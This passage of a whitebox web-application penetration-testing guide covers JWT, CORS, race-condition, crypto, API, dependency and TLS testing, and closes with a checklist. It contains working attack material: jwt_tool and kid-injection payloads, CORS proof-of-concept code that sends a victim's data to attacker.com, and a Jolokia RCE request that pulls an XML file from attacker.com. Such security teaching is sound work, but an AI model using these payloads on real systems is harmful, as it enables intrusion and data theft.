│ → SQL injection in kid, or path traversal │
│ │
└──────────────────────────────────────────────────────────────────────┘
17.2 Attack Techniques
# ─── Decode JWT (no tool needed) ───
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}
# ─── jwt_tool: everything in one place ───
pip3 install jwt_tool
# Or: git clone https://github.com/ticarpi/jwt_tool
jwt_tool <JWT_TOKEN> # decode and display
jwt_tool <JWT> -X a # alg:none attack
jwt_tool <JWT> -X n # null signature attack
jwt_tool <JWT> -X s # HMAC secret confusion (RS256→HS256)
jwt_tool <JWT> -C -d /usr/share/wordlists/rockyou.txt # brute force secret
jwt_tool <JWT> -T # tamper (interactive)
jwt_tool <JWT> -I -pc role -pv admin # inject claim role=admin
# ─── Brute force with hashcat ───
# Extract signature from JWT:
echo -n "HEADER.PAYLOAD" | openssl dgst -sha256 -hmac "secret"
# Hashcat mode 16500 = JWT HS256
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# ─── alg:none attack (manual) ───
# Step 1: Decode header, change alg to "none"
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='
# Step 2: Decode payload, change role to admin
echo -n '{"user":"admin","role":"admin"}' | base64 | tr -d '='
# Step 3: Combine with empty signature:
# HEADER_B64.PAYLOAD_B64.
# → no trailing signature needed
# ─── Kid SQL injection ───
# JWT header: {"alg":"HS256","kid":"1"}
# If kid is used in: SELECT key FROM keys WHERE id = '<kid>'
# Inject: " UNION SELECT 'attacker_secret'-- -
# Now sign JWT with "attacker_secret" → server uses SQL result as signing key
# kid payload: " UNION SELECT 'secret'-- -
# ─── Kid path traversal ───
# If kid points to a file: kid: "keys/key1.pem"
# Inject: kid: "../../../dev/null"
# /dev/null contains empty string → sign with empty string as secret
17.3 Vulnerable Code Patterns
# ─── Python PyJWT: dangerous options ───
import jwt
# DANGEROUS: algorithms list includes "none"
payload = jwt.decode(token, key, algorithms=["HS256", "none"])
# DANGEROUS: verify=False
payload = jwt.decode(token, options={"verify_signature": False})
# DANGEROUS: accepting algorithm from token header
header = jwt.get_unverified_header(token)
algo = header['alg']
payload = jwt.decode(token, key, algorithms=[algo]) # attacker controls algo!
# SAFE:
payload = jwt.decode(token, key, algorithms=["HS256"]) # hardcode algorithm
18. CORS Misconfigurations
What it means: CORS (Cross-Origin Resource Sharing) controls which origins can make cross-origin requests to an API. A misconfigured CORS policy can allow a malicious website to make authenticated API calls on behalf of a victim user, effectively nullifying CSRF protections and allowing data exfiltration.
18.1 Identifying CORS Configuration in Code
# ─── Django CORS headers (django-cors-headers) ───
grep -rn "CORS_ALLOWED_ORIGINS\|CORS_ORIGIN_WHITELIST\|CORS_ALLOW_ALL_ORIGINS\|CORS_ORIGIN_REGEX" \
--include="*.py" .
# DANGEROUS:
CORS_ALLOW_ALL_ORIGINS = True # any origin can call API
CORS_ORIGIN_ALLOW_ALL = True # same
CORS_ALLOWED_ORIGIN_REGEXES = [r".*"] # matches everything
# Also dangerous — dynamic reflection:
if request.headers.get('Origin'):
response['Access-Control-Allow-Origin'] = request.headers['Origin'] # reflects ANY origin!
# ─── Node.js (cors package) ───
grep -rn "cors(\|Access-Control-Allow-Origin" --include="*.js" .
# DANGEROUS:
app.use(cors()); # allows all origins
app.use(cors({ origin: '*' }));
// Dynamic reflection:
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin); // reflects!
res.header('Access-Control-Allow-Credentials', 'true');
});
18.2 CORS Attack Scenarios
// ─── Scenario 1: Origin reflected + credentials allowed ───
// Code: Access-Control-Allow-Origin: <reflected origin>
// Access-Control-Allow-Credentials: true
// Attack: any origin can make authenticated cross-origin requests
// ─── PoC: steal API response from any page ───
fetch('https://target.com/api/profile', {
credentials: 'include'
}).then(r => r.json()).then(data => {
fetch('https://attacker.com/steal?d=' + JSON.stringify(data));
});
// ─── Scenario 2: Null origin allowed ───
// Access-Control-Allow-Origin: null → allows sandboxed iframes!
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://target.com/api/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/?d=' + JSON.stringify(d)));
</script>">
</iframe>
// ─── Scenario 3: Subdomain takeover + CORS ───
// CORS whitelist: *.target.com
// If old.target.com is a dangling subdomain → take it over
// Then: old.target.com can call API with credentials!
18.3 Testing CORS
# ─── Manual test in Burp ───
# Add header to request: Origin: https://evil.com
# Check response: Access-Control-Allow-Origin: https://evil.com?
# AND: Access-Control-Allow-Credentials: true?
# → Both = exploitable
# ─── Test null origin ───
# Add header: Origin: null
# Check response for: Access-Control-Allow-Origin: null
# ─── Test subdomain ───
# Add header: Origin: https://evil.target.com
# Does CORS return it? → regex too broad
# ─── Tools ───
# CORSscanner:
python3 cors_scan.py -u https://target.com/api
# Burp extension: CORS* (in BApp store)
19. Business Logic Flaws
What it means: Business logic flaws are vulnerabilities in the intended workflow of the application. They arise not from coding errors like SQLi or XSS, but from incorrect assumptions in the design. These are almost completely invisible to automated scanners and can only be found by understanding the application's purpose. Whitebox testing is ideal because you can read the code to understand the exact intended workflow.
19.1 Common Business Logic Flaw Categories
┌────────────────────────────────────────────────────────────────────────┐
│ BUSINESS LOGIC FLAW CATEGORIES │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Price / Quantity Manipulation │
│ ├─ Negative quantity: qty=-1 → get credit instead of pay │
│ ├─ Negative price via discount > 100% │
│ └─ Integer overflow in price calculation │
│ │
│ 2. Workflow Step Skipping │
│ ├─ Skip step 2 of a 3-step checkout → go directly to step 3 │
│ ├─ Access /complete-order without going through /payment │
│ └─ Skip email verification, skip MFA step │
│ │
│ 3. Coupon / Voucher Abuse │
│ ├─ Apply same coupon multiple times (no single-use enforcement) │
│ ├─ Stack multiple exclusive coupons │
│ └─ Apply referral code to your own account │
│ │
│ 4. Race Conditions in Business Logic │
│ ├─ Buy item, refund it, use the credit simultaneously │
│ ├─ Double-spend gift card │
│ └─ Win every lottery by submitting multiple simultaneous entries │
│ │
│ 5. Trust Boundary Violations │
│ ├─ User sets shipping address to: "; DROP TABLE orders; --" │
│ ├─ Manipulate order total in hidden form field │
│ └─ Change product ID in order to substitute cheaper item │
│ │
│ 6. Time-of-Check / Time-of-Use (TOCTOU) │
│ ├─ Check if user has funds (passes) → spend funds in two places │
│ └─ Validate token → token invalidated before use completes │
│ │
└────────────────────────────────────────────────────────────────────────┘
19.2 Testing Business Logic
# ─── Approach ───
# 1. Read the code for the specific feature (payment, coupon, etc.)
# 2. Understand what assumptions the code makes
# 3. Test each assumption in Burp by violating it
# ─── Price manipulation ───
# In Burp Repeater: change price field in POST body
# POST /checkout {"items": [{"id": 1, "price": 0.01, "qty": 1}]}
# If server trusts client-supplied price → buy anything for $0.01
# ─── Negative quantity ───
# POST /cart/add {"product_id": 42, "quantity": -1}
# If no validation: cart total decreases → get refund for item you never had
# ─── Coupon stacking ───
# Apply coupon1, then coupon2:
# POST /apply-coupon {"code": "SAVE50"}
# If no check for existing coupon → apply twice for 100% off
# ─── Workflow bypass: direct URL access ───
# Normal flow: /checkout/step1 → /checkout/step2 → /checkout/step3
# Skip to: GET /checkout/step3 directly
# If only step3 checks final order state and not previous steps → bypass
# ─── Hidden parameter tampering ───
# Inspect every hidden form field, every JSON key in request body
# Anything affecting price, discount, role, status → try modifying
20. Race Conditions
What it means: Race conditions occur when the security of an operation depends on the timing of multiple concurrent requests. The "check-then-act" pattern (TOCTOU) is the classic case: you validate something is true, then act on it — but between the check and the action, another request changes the state. Whitebox gives you the code to identify exactly where non-atomic operations exist.
20.1 Identifying Race Conditions in Code
# ─── Classic TOCTOU (check-then-act) ───
# VULNERABLE:
def redeem_voucher(user_id, code):
voucher = Voucher.objects.get(code=code)
if voucher.used: # CHECK
return "Already used"
# ... time passes, another request runs the same check ...
process_payment(user_id, voucher.discount)
voucher.used = True # ACT — too late!
voucher.save()
# SAFE: use database-level atomicity:
from django.db.models import F
rows_updated = Voucher.objects.filter(code=code, used=False).update(used=True)
if rows_updated == 0:
return "Already used" # atomic check+update
process_payment(user_id, voucher.discount)
# ─── Node.js async race ───
// VULNERABLE:
async function transferMoney(from, to, amount) {
const balance = await getBalance(from); // CHECK
if (balance < amount) throw new Error('Insufficient funds');
await deductBalance(from, amount); // ACT — not atomic with check!
await addBalance(to, amount);
}
// Two concurrent requests both see balance=100, both transfer 90 → overdraft
// SAFE: database transaction with locking:
await db.transaction(async (trx) => {
const user = await User.query(trx).forUpdate().findById(from); // row lock
if (user.balance < amount) throw new Error('Insufficient funds');
await user.$query(trx).patch({ balance: user.balance - amount });
await User.query(trx).findById(to).increment('balance', amount);
});
20.2 Exploiting Race Conditions
# ─── Burp Turbo Intruder: single-packet attack ───
# Best approach: HTTP/2 single packet (sends all requests simultaneously in one TCP frame)
# Turbo Intruder script for race condition:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False)
for i in range(20): # 20 simultaneous requests
engine.queue(target.req, target.baseInput, gate='race1')
engine.openGate('race1') # send ALL at once!
def handleResponse(req, interesting):
table.add(req)
# ─── Using Burp's built-in race condition feature ───
# Send request to Burp Repeater
# Duplicate tab 20 times (Ctrl+R)
# Select all tabs → Send group (parallel)
# HTTP/2 single packet attack available in Repeater group settings
# ─── Multi-endpoint race (requires same session state) ───
# Example: transfer + redeem simultaneously
# Use Turbo Intruder with two different request templates
# ─── Manual with curl (less reliable) ───
for i in {1..20}; do
curl -s -X POST https://target.com/redeem \
-H "Cookie: session=abc" \
-d "code=VOUCHER50" &
done
wait
21. Cryptographic Vulnerabilities
What it means: Even correct-looking crypto code can be completely broken if it uses weak algorithms, predictable IVs, ECB mode, short keys, or misuses authenticated encryption. This class is almost exclusively found through code review — it's invisible from the outside.
21.1 Common Crypto Mistakes
# ─── VULNERABLE: ECB mode ───
# ECB encrypts each block independently → identical plaintext blocks = identical ciphertext
# → patterns visible in ciphertext → decrypt by block analysis
from Crypto.Cipher import AES
cipher = AES.new(key, AES.MODE_ECB) # NEVER use ECB for anything except single blocks
# SAFE: AES-GCM or AES-CBC with random IV
# ─── VULNERABLE: hardcoded IV ───
iv = b'\x00' * 16 # static IV
cipher = AES.new(key, AES.MODE_CBC, iv) # DANGEROUS: same IV + same key = same keystream
# SAFE: random IV for every encryption
import os
iv = os.urandom(16) # fresh random IV per message
# ─── VULNERABLE: no authentication (CBC without MAC) ───
# CBC decrypts ANY ciphertext silently → bit flipping attack
# SAFE: use AES-GCM (authenticated encryption) or add HMAC
cipher = AES.new(key, AES.MODE_GCM) # authenticated + encrypted
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
# ─── VULNERABLE: weak key derivation ───
import hashlib
key = hashlib.md5(password.encode()).digest() # MD5 → 128-bit
# SAFE: PBKDF2 / scrypt / argon2 for key derivation from passwords
import hashlib
key = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
# ─── VULNERABLE: predictable random for security purposes ───
import random
token = random.randint(100000, 999999) # NOT cryptographically secure!
# SAFE:
import secrets
token = secrets.token_hex(32) # 256 bits of CSPRNG randomness
# ─── Grep for crypto issues ───
grep -rn "MODE_ECB\|AES\.ECB\|\"ECB\"" --include="*.py" --include="*.java" .
grep -rn "MD5\|SHA1\b\|sha1(" --include="*.py" --include="*.js" --include="*.java" .
grep -rn "random\.random()\|Math\.random()\|rand()" --include="*.py" \
--include="*.js" --include="*.php" . | grep -v "test\|spec\|mock"
grep -rn "iv\s*=\s*b'\\\\x00\|iv\s*=.*\\\\x00.*\\\\x00" --include="*.py" .
grep -rn "createCipher\b" --include="*.js" . # deprecated, no IV = vulnerable
21.2 CBC Bit Flipping Attack
# ─── CBC bit flipping: modify plaintext without knowing key ───
# Target: encrypted cookie that contains "admin=false"
# Goal: flip "false" to "true" without the key
# In CBC decryption:
# P[n] = Decrypt(C[n]) XOR C[n-1]
# So: if we flip bits in C[n-1], the corresponding bits in P[n] flip!
# Step 1: capture the ciphertext
ciphertext = bytes.fromhex("captured_ciphertext")
# Step 2: identify block positions
# Block size = 16 bytes, "admin=false" starts at known offset
# Step 3: XOR the previous ciphertext block to flip target byte
# If we know plaintext[n] and want plaintext_target:
# new_C[n-1] = C[n-1] XOR plaintext[n] XOR plaintext_target
target_byte = ord('f') # current 'f' in 'false'
desired_byte = ord('t') # want 't'
ciphertext_offset = 15 # position in previous block
flipped = bytearray(ciphertext)
flipped[ciphertext_offset] = ciphertext[ciphertext_offset] ^ target_byte ^ desired_byte
22. API Security Testing
What it means: Modern web apps expose REST, GraphQL, or gRPC APIs. In whitebox testing, you have the OpenAPI/Swagger spec or can read the routes directly. API-specific vulnerabilities include: excessive data exposure, mass assignment, lack of rate limiting, broken object-level authorization (BOLA/IDOR), and GraphQL introspection/abuse.
22.1 REST API Testing
# ─── Import API spec into Burp ───
# If Swagger/OpenAPI spec exists:
# Burp → Target → Site map → Import
# Or use: openapi-parser or postman collection
# ─── Enumerate all endpoints from code ───
# (see section 2.2 for route enumeration commands)
# ─── HTTP method testing ───
# Try all HTTP methods on every endpoint:
curl -X OPTIONS https://target.com/api/users -v # see allowed methods
curl -X DELETE https://target.com/api/users/1 # unauthorized delete?
curl -X PUT https://target.com/api/admin/config # unauthorized update?
curl -X PATCH https://target.com/api/user/1 -d '{"role":"admin"}'
# ─── Parameter pollution ───
# HTTP Parameter Pollution (HPP):
# GET /api/user?id=1&id=2 → which id does server use?
# POST with both query string and body: same param → which wins?
# ─── Versioned API testing ───
# New version fixed a vuln, old version still accessible:
/api/v1/users # might have vuln that v2 fixed
/api/v2/users # current
/api/mobile/users # separate mobile API, less hardened?
/api/internal/users # internal API exposed publicly?
22.2 GraphQL Testing
# ─── Step 1: Introspection query ───
# Enumerate ALL types, queries, mutations if introspection is enabled:
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name,fields{name,args{name,type{name}}}}}}"}'
# ─── InQL Burp extension ───
# Automatically runs introspection and generates Burp intruder payloads
# ─── graphw00f: fingerprint and attack GraphQL ───
pip3 install graphw00f
graphw00f -d -t https://target.com/graphql # detect + profile
# ─── Step 2: Examine mutations ───
# Mutations are write operations — check for:
# - Missing auth on mutations (deleteUser, updateRole, etc.)
# - Mass assignment via input types
# - IDOR via object IDs in mutation arguments
# ─── Step 3: SQL/command injection in resolvers ───
# Resolver functions handle GraphQL queries → check for SQLi / cmd injection
# in resolver code (same grep patterns as section 3.2)
# ─── Step 4: Batching attacks (rate limit bypass) ───
# GraphQL allows multiple queries in one request:
[
{"query": "mutation {login(user: \"admin\", pass: \"password1\")}"},
{"query": "mutation {login(user: \"admin\", pass: \"password2\")}"},
{"query": "mutation {login(user: \"admin\", pass: \"password3\")}"}
]
# → 1 HTTP request = 100 login attempts → bypass rate limiting
# ─── Step 5: Field-level authorization ───
# Even if type is accessible, individual fields may expose sensitive data:
query {
user(id: 1) {
email
password_hash # should this be accessible?
is_admin
api_key
}
}
22.3 Exposed Admin / Debug Endpoints
# ─── Common admin/debug endpoints to check ───
/admin
/api/admin
/api/debug
/debug
/status
/health
/actuator # Spring Boot actuator
/actuator/env # environment variables!
/actuator/dump # thread dump
/actuator/heapdump # heap dump → extract secrets from memory
/metrics
/info
/console # H2 database console, Django debug
/__admin # various frameworks
# ─── Spring Boot Actuator (critical) ───
curl https://target.com/actuator/env # all env vars including secrets!
curl https://target.com/actuator/beans # all Spring beans
curl https://target.com/actuator/mappings # all URL mappings
curl https://target.com/actuator/loggers # can enable DEBUG logging
# Jolokia (JMX over HTTP):
curl https://target.com/actuator/jolokia/list # list MBeans
# RCE via Jolokia:
curl "https://target.com/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http://attacker.com/evil_logback.xml"
23. Dependency & Supply Chain Analysis
What it means: Most modern apps use hundreds of third-party libraries. Any one of them could have a known CVE. In whitebox testing, you have the exact dependency manifest — use it to check for known vulnerabilities.
23.1 Dependency Scanning
# ─── Node.js: npm audit ───
npm audit # built-in vulnerability check
npm audit --json > npm_audit.json # machine-readable
npm audit fix # auto-fix where possible
npm audit fix --force # force (may break things)
npx audit-ci --critical # fail CI on critical vulns
# ─── Node.js: retire.js ───
npm install -g retire
retire --path ./node_modules # scan installed packages
retire --js # scan JS files (client-side libs)
# ─── Python: pip-audit ───
pip install pip-audit
pip-audit # scan current environment
pip-audit -r requirements.txt # scan requirements file
pip-audit --output json > audit.json
# ─── Python: safety ───
pip install safety
safety check # check installed packages
safety check -r requirements.txt # check requirements file
# ─── Java: OWASP Dependency-Check ───
dependency-check --project myapp --scan . --format HTML --out ./report/
# Or maven plugin:
mvn org.owasp:dependency-check-maven:check
# ─── Universal: Grype ───
grype dir:. # any language, auto-detects
grype dir:. --fail-on critical # exit 1 if critical found
# ─── Universal: Snyk ───
npm install -g snyk
snyk auth # authenticate
snyk test . # test current project
snyk test --json > snyk.json # JSON output
snyk monitor . # continuous monitoring
23.2 Identifying Exploitable CVEs
# ─── After finding vulnerable packages, look up exploits ───
searchsploit <library_name> <version>
searchsploit django 3.0 # example
searchsploit log4j # CVE-2021-44228
# ─── Check NVD / OSV ───
# NVD: https://nvd.nist.gov/vuln/search
# OSV: https://osv.dev
# GitHub Advisory: https://github.com/advisories
# ─── High-profile library CVEs worth checking ───
# Python:
# - Pillow < 9.0.0: multiple CVEs (heap overflow, DoS)
# - cryptography < 42.x: various
# - PyYAML: RCE via yaml.load() (if not safe_load)
# - Jinja2 < 3.1.3: SSTI sandbox escapes
# Node.js:
# - lodash < 4.17.21: prototype pollution (CVE-2021-23337)
# - node-serialize: RCE (CVE-2017-5941)
# - jsonwebtoken < 9.0.0: various auth bypass
# - axios < 1.6.0: SSRF (CVE-2023-45857)
# Java:
# - log4j 2.0-2.14: Log4Shell RCE (CVE-2021-44228) ← check immediately!
# - Spring Framework < 5.3.18: Spring4Shell (CVE-2022-22965)
# - Jackson-databind < 2.13.4: deserialization
# PHP:
# - Laravel: various, check exact version
# - Symfony: deserialization, CSRF
24. Security Headers & TLS Review
What it means: Security headers are HTTP response headers that instruct the browser on security policies. Misconfigured or missing headers allow XSS, clickjacking, MIME sniffing, and protocol downgrade attacks. In whitebox, you can check where headers are set and identify gaps (e.g., some endpoints that bypass middleware).
24.1 Security Header Checklist
# ─── Check headers in Burp or curl ───
curl -sI https://target.com | grep -i "strict\|content-security\|x-frame\|x-content\|referrer\|permissions\|expect-ct"
# ─── What to look for ───
# 1. Content-Security-Policy (CSP)
# Missing = XSS more impactful
# Weak: script-src 'unsafe-inline' 'unsafe-eval' or * → useless CSP
# Good: script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'none';
# 2. Strict-Transport-Security (HSTS)
# Missing = SSL stripping possible
# Weak: max-age=0 or missing includeSubDomains
# Good: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# 3. X-Frame-Options
# Missing = clickjacking possible
# Correct: DENY or SAMEORIGIN
# 4. X-Content-Type-Options
# Missing = MIME sniffing attacks
# Correct: nosniff
# 5. Referrer-Policy
# Missing = full URL in Referer header leaks to third parties
# Good: Referrer-Policy: strict-origin-when-cross-origin
# 6. Permissions-Policy
# Controls browser features (camera, microphone, geolocation)
# Good: Permissions-Policy: geolocation=(), microphone=(), camera=()
# ─── Check in source code (middleware setup) ───
grep -rn "X-Frame-Options\|Content-Security-Policy\|Strict-Transport\|X-Content-Type" \
--include="*.py" --include="*.js" --include="*.conf" .
24.2 TLS Configuration Review
# ─── Test TLS config ───
# testssl.sh (comprehensive):
./testssl.sh https://target.com
./testssl.sh --quiet --severity HIGH https://target.com # only high+
# sslscan:
sslscan target.com:443
# nmap:
nmap --script ssl-enum-ciphers -p 443 target.com
# ─── What to look for ───
# Vulnerable protocols: SSLv2, SSLv3, TLS 1.0, TLS 1.1 → all deprecated
# Weak ciphers: RC4, DES, 3DES, NULL, EXPORT, ANON
# BEAST: CBC ciphers with TLS 1.0
# POODLE: SSLv3 enabled
# SWEET32: 3DES in use
# ROBOT: RSA key exchange (no forward secrecy)
# Certificate: expired, self-signed, wrong domain, weak key (RSA < 2048, EC < 256)
# HSTS not set / too short
# ─── Check TLS config in code ───
grep -rn "ssl_version\|PROTOCOL_TLS\|PROTOCOL_SSLv\|PROTOCOL_TLSv1\b" --include="*.py" .
grep -rn "minVersion\|maxVersion\|secureProtocol\|ciphers" --include="*.js" .
# In nginx.conf / apache config:
grep -rn "ssl_protocols\|ssl_ciphers\|SSLProtocol\|SSLCipherSuite" --include="*.conf" .
# GOOD: ssl_protocols TLSv1.2 TLSv1.3;
# BAD: ssl_protocols SSLv2 SSLv3 TLSv1;
25. SAST Tooling Reference
What it means: Static Application Security Testing (SAST) tools analyze source code without executing it to find security vulnerabilities. No SAST tool is perfect — they produce false positives and miss complex logic flaws — but they're invaluable for quickly scanning large codebases for obvious issues.
25.1 Tool Matrix
| Tool | Language | License | Best For |
|---|---|---|---|
| Semgrep | All major | Free + Pro | Custom rules, CI/CD integration |
| Bandit | Python | Free | Python-specific OWASP checks |
| CodeQL | All major | Free (OSS) | Deep taint analysis, GitHub Actions |
| Flawfinder | C/C++ | Free | Buffer overflows, dangerous functions |
| Brakeman | Ruby/Rails | Free | Rails-specific vulns |
| PHPCS Security | PHP | Free | PHP security linting |
| SpotBugs + FindSecBugs | Java | Free | Java/Android security |
| Gosec | Go | Free | Go security checks |
| ESLint security | JavaScript | Free | JS security linting |
| Snyk Code | All major | Free tier | Fast, IDE-integrated SAST |
| SonarQube | All major | Community | Enterprise-grade, dashboard |
| Checkmarx | All major | Commercial | Enterprise, compliance |
| Veracode | All major | Commercial | Enterprise, DevSecOps |
25.2 Setting Up a Scan Pipeline
# ─── Complete scan script for a Python/Node app ───
#!/bin/bash
TARGET_DIR="./app"
REPORT_DIR="./security_reports"
mkdir -p $REPORT_DIR
echo "[*] Running Semgrep..."
semgrep --config=auto $TARGET_DIR \
--json --output=$REPORT_DIR/semgrep.json 2>/dev/null
echo "[*] Running Bandit (Python)..."
bandit -r $TARGET_DIR --format json \
--output $REPORT_DIR/bandit.json 2>/dev/null
echo "[*] Running Gitleaks (secrets)..."
gitleaks detect --source . \
--report-format json \
--report-path $REPORT_DIR/gitleaks.json 2>/dev/null
echo "[*] Running pip-audit (Python deps)..."
pip-audit -r requirements.txt \
--output json > $REPORT_DIR/pip_audit.json 2>/dev/null
echo "[*] Running npm audit (Node deps)..."
npm audit --json > $REPORT_DIR/npm_audit.json 2>/dev/null
echo "[*] Running Retire.js (JS client libs)..."
retire --path $TARGET_DIR --outputformat json \
--outputpath $REPORT_DIR/retire.json 2>/dev/null
echo "[+] Reports saved to $REPORT_DIR/"
echo "[*] Manual review required for false positives!"
# ─── Semgrep custom rule example ───
# Create file: custom_rules.yml
rules:
- id: flask-ssti-render-template-string
pattern: flask.render_template_string($INPUT, ...)
message: |
Potential SSTI if $INPUT contains user-controlled data.
Use render_template() with template files instead.
languages: [python]
severity: ERROR
- id: subprocess-shell-true
pattern: subprocess.$FUNC(..., shell=True, ...)
message: |
shell=True passes command to shell interpreter.
If any argument is user-controlled, this is command injection.
languages: [python]
severity: ERROR
# Run with custom rule:
semgrep --config=custom_rules.yml ./app
26. Complete Cheat Sheet & Checklist
26.1 Whitebox Web Pentest Checklist
SETUP
□ Identify tech stack (language, framework, DB, cache, queue)
□ Map all routes/endpoints
□ Read DB schema → note sensitive tables and relationships
□ Extract all config/env files → note secrets, connection strings
□ Run secret scanner (gitleaks/trufflehog) on git history
□ Run SAST tools (semgrep, bandit, gosec, etc.)
□ Run dependency scanner (pip-audit, npm audit, grype)
□ Configure Burp with admin account + Autorize with unprivileged account
AUTHENTICATION
□ Password stored with bcrypt/argon2/scrypt (NOT MD5/SHA1/plaintext)?
□ bcrypt rounds >= 10?
□ Comparison uses constant-time function?
□ Session tokens use CSPRNG (secrets/crypto.randomBytes)?
□ CSRF token present on session cookies?
□ session_regenerate_id() called after login (PHP)?
□ Password reset tokens: cryptographically random, time-limited, single-use?
□ Host header not used in reset link construction?
□ MFA: OTP rate-limited? OTPs invalidated after use? Session not created pre-MFA?
AUTHORIZATION
□ Every object fetch filtered by current user (owner_id/user_id)?
□ Every admin function has role/permission check?
□ Mass assignment: are sensitive fields excluded from serializers/forms?
□ Tested horizontal IDOR (access other users' objects)?
□ Tested vertical privilege escalation (user → admin endpoints)?
□ Tested parameter tampering (change IDs, add role=admin to requests)?
INJECTION
□ SQLi: all DB queries use parameterized statements?
□ Tested NoSQL injection (MongoDB $ne, $gt, $regex)?
□ Command injection: no shell=True with user input?
□ SSTI: user input never passed as the template string?
□ XXE: XML parsers have external entities disabled?
□ LDAP injection: user input in LDAP queries escaped?
□ XPath injection: user input in XPath queries escaped?
CLIENT-SIDE
□ All user data HTML-encoded before output?
□ No mark_safe() / dangerouslySetInnerHTML with user input?
□ DOM XSS: location.* sources don't reach innerHTML/eval sinks?
□ CSP configured and effective (no unsafe-inline, no wildcards)?
□ CSRF tokens on all state-changing requests?
□ SameSite=Strict or Lax on session cookies?
ADVANCED
□ JWT: alg validated server-side (not from token header)?
□ JWT: "none" algorithm rejected?
□ JWT: secrets brute-forced?
□ CORS: no reflect-all-origins pattern?
□ CORS: Access-Control-Allow-Credentials: true requires explicit origin?
□ File upload: server-side extension + magic bytes validation?
□ File upload: no path traversal in filename?
□ File upload: upload directory outside webroot?
□ LFI: file parameters validated against whitelist?
□ Deserialization: no user data reaches pickle.loads/unserialize/readObject?
□ Race conditions: critical operations use DB-level atomicity/locking?
CRYPTO
□ No ECB mode?
□ No static/predictable IVs?
□ No MD5/SHA1 for security purposes?
□ No Math.random()/random.random() for tokens?
□ Keys derived from passwords using PBKDF2/scrypt/argon2?
□ Authenticated encryption (AES-GCM) used where needed?
HEADERS & TLS
□ Content-Security-Policy present and strong?
□ Strict-Transport-Security with includeSubDomains?
□ X-Frame-Options: DENY or SAMEORIGIN?
□ X-Content-Type-Options: nosniff?
□ TLS 1.2+ only (no SSLv3, TLS 1.0, TLS 1.1)?
□ No weak ciphers (RC4, DES, 3DES, EXPORT)?
DEPENDENCIES
□ No critical/high CVEs in third-party libraries?
□ log4j version: 2.17.1+ (Log4Shell patch)?
□ Spring Framework: 5.3.18+ (Spring4Shell)?
□ Client-side JS libraries up to date (retire.js)?
26.2 Tool Quick Reference
| Category | Tool | Command |
|---|---|---|
| Route enumeration | grep | grep -rn "@app.route" --include="*.py" . |
| Secret scanning | gitleaks | gitleaks detect --source . -v |
| SAST (general) | semgrep | semgrep --config=auto . |
| SAST (Python) | bandit | bandit -r ./app |
| SAST (Java) | spotbugs+findsecbugs | mvn com.github.spotbugs:spotbugs-maven-plugin:check |
| Dep scan (Python) | pip-audit | pip-audit -r requirements.txt |
| Dep scan (Node) | npm audit | npm audit --json |
| Dep scan (all) | grype | grype dir:. |
| Dynamic proxy | Burp Suite | Configure browser → 127.0.0.1:8080 |
| IDOR testing | Autorize (Burp) | Set second-user token in Autorize header |
| Param discovery | Param Miner (Burp) | Right-click → Extensions → Param Miner |
| SQLi | sqlmap | sqlmap -r request.txt --batch --level=5 |
| NoSQLi | - | Manual JSON injection in Burp |
| SSTI | tplmap | python3 tplmap.py -u "http://target/?p=*" |
| XXE | Burp + manual | Inject entity in XML body |
| JWT | jwt_tool | jwt_tool <TOKEN> -X a |
| JWT crack | hashcat | hashcat -m 16500 jwt.txt rockyou.txt |
| TLS scan | testssl.sh | ./testssl.sh https://target.com |
| GraphQL | InQL (Burp) | Run introspection from BApp |
| Race conditions | Turbo Intruder | Single-packet attack script |
| Java deser | ysoserial | java -jar ysoserial.jar CC6 'cmd' |
| PHP deser | PHPGGC | php phpggc Laravel/RCE1 system id |
| Python deser | manual pickle | Custom __reduce__ payload |
| File upload | manual + Burp | Extension + MIME + magic byte tests |
| CORS | manual + Burp | Inject Origin header, observe response |
26.3 Vulnerability CVSS Reference
| Vulnerability | Typical CVSS | Impact |
|---|---|---|
| SQLi (data extraction) | 7.5–9.8 | Data breach, auth bypass |
| SQLi (OS command via xp_cmdshell) | 9.8 | RCE |
| Command Injection | 9.8 | RCE |
| Deserialization RCE | 9.8 | RCE |
| SSTI (RCE) | 9.8 | RCE |
| Log4Shell (CVE-2021-44228) | 10.0 | RCE |
| SSRF (to cloud metadata) | 8.0–9.0 | Credential theft, pivot |
| XXE (file read) | 7.5 | Sensitive data read |
| Stored XSS | 6.1–8.8 | Account takeover |
| Reflected XSS | 4.3–6.1 | Session hijack |
| IDOR (sensitive data) | 6.5–8.6 | Data breach |
| Auth bypass | 9.1 | Full account takeover |
| Broken access control | 6.5–9.8 | Priv esc, data breach |
| JWT none algorithm | 9.1 | Auth bypass |
| Mass assignment (role escalation) | 8.1 | Priv esc |
| CSRF (state-changing action) | 5.4–8.8 | Unauthorized action |
| Path traversal (file read) | 7.5 | Sensitive data read |
| Insecure deserialization | 8.1–9.8 | RCE, data tamper |
| Hardcoded secret | 7.5–9.8 | Full app compromise |
| Race condition (financial) | 7.5 | Financial loss |
26.4 Reporting Severity Definitions
CRITICAL (CVSS 9.0–10.0)
├─ Remote code execution with no authentication
├─ SQL injection → full DB dump
├─ Authentication bypass → admin access
└─ Deserialization → RCE
HIGH (CVSS 7.0–8.9)
├─ SQLi with limited data access
├─ SSRF → internal service access
├─ Stored XSS in high-traffic pages
├─ Privilege escalation (user → admin)
└─ File upload → webshell
MEDIUM (CVSS 4.0–6.9)
├─ Reflected XSS (requires victim interaction)
├─ CSRF on sensitive functions
├─ IDOR (non-sensitive data)
├─ Path traversal (non-sensitive files)
└─ JWT weak secret (crackable)
